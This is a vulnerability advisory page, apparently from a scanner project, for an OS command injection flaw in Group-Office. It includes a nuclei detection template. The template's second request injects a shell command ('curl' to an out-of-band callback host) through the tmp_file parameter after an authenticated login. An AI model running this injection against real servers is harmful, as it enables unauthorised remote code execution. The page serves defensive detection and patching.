Group-Office < 26.0.5 - Remote Code Execution

criticalseverity

9.9CVSS score

19.9%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Group-Office before versions 6.8.150, 25.0.82, and 26.0.5 is vulnerable to remote code execution via OS command injection. The endpoint email/message/tnefAttachmentFromTempFile directly concatenates the user-controlled parameter tmp_file into an exec() call. By injecting shell metacharacters into tmp_file, an authenticated attacker can execute arbitrary system commands on the server.

Impact

Successful exploitation allows an authenticated attacker to execute arbitrary system commands with web server privileges, potentially leading to full server compromise.

Fix

Update Group-Office to version 6.8.150, 25.0.82, or 26.0.5 or later. The fix applies escapeshellarg() to properly escape file paths before passing them to exec().

How to confirm it

Send: POST /index.php?r=core/auth/login
Positive when: status_code == 200 and contains(body, "\"success\":true")
Send: GET /index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=dummy.dat;curl+{{interactsh-url}};%23&security_token={{security_token}}
Positive when: status_code == 200 and contains(interactsh_protocol, "dns")

Run it with nuclei: nuclei -id CVE-2026-25512 -u <target>

The full check

id: CVE-2026-25512

info:
  name: Group-Office < 26.0.5 - Remote Code Execution
  author: omarkurt
  severity: critical
  description: |
    Group-Office before versions 6.8.150, 25.0.82, and 26.0.5 is vulnerable to remote code execution via OS command injection. The endpoint email/message/tnefAttachmentFromTempFile directly concatenates the user-controlled parameter tmp_file into an exec() call. By injecting shell metacharacters into tmp_file, an authenticated attacker can execute arbitrary system commands on the server.
  impact: |
    Successful exploitation allows an authenticated attacker to execute arbitrary system commands with web server privileges, potentially leading to full server compromise.
  remediation: |
    Update Group-Office to version 6.8.150, 25.0.82, or 26.0.5 or later. The fix applies escapeshellarg() to properly escape file paths before passing them to exec().
  reference:
    - https://github.com/Intermesh/groupoffice/security/advisories/GHSA-579w-jvg7-frr4
    - https://github.com/Intermesh/groupoffice/commit/6c612deca97a6cd2a1bd4feea0ce7e8e9d907792
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25512
    - https://vulnerabletarget.com/VT-2026-25512
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-25512
    cwe-id: CWE-78
    epss-score: 0.1986
    epss-percentile: 0.97441
  metadata:
    verified: true
    max-request: 2
    vendor: intermesh
    product: group-office
    shodan-query: title:"Group-Office"
    fofa-query: title="Group-Office"
  tags: cve,cve2026,groupoffice,rce,authenticated,oast

variables:
  username: "{{username}}"
  password: "{{password}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /index.php?r=core/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"success\":true")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: security_token
        part: body
        group: 1
        regex:
          - '"security_token":"([^"]+)"'
        internal: true

  - raw:
      - |
        GET /index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=dummy.dat;curl+{{interactsh-url}};%23&security_token={{security_token}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "dns")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from